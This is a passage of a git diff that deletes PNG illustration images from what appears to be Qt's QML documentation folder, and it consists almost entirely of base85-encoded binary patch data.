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 diff --git a/src/qml/doc/images/rect-border-width.png b/src/qml/doc/images/rect-border-width.png deleted file mode 100644 index e232cf3ebd7065f31d48e1eae9b6feb2ee5743cd..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 374 zcmeAS@N?(olHy`uVBq!ia0vp^DImSNxg>8D*wH(n_afo tUVPcQM1`=y3Jrc<%(PY47C?g)j8eCSecYe)&jyAZgQu&X%Q~loCID_AZO{M! diff --git a/src/qml/doc/images/rect-color.png b/src/qml/doc/images/rect-color.png deleted file mode 100644 index b258ba9b6cac0c6a4ba81ad8f66d74fd55150f35..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 570 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 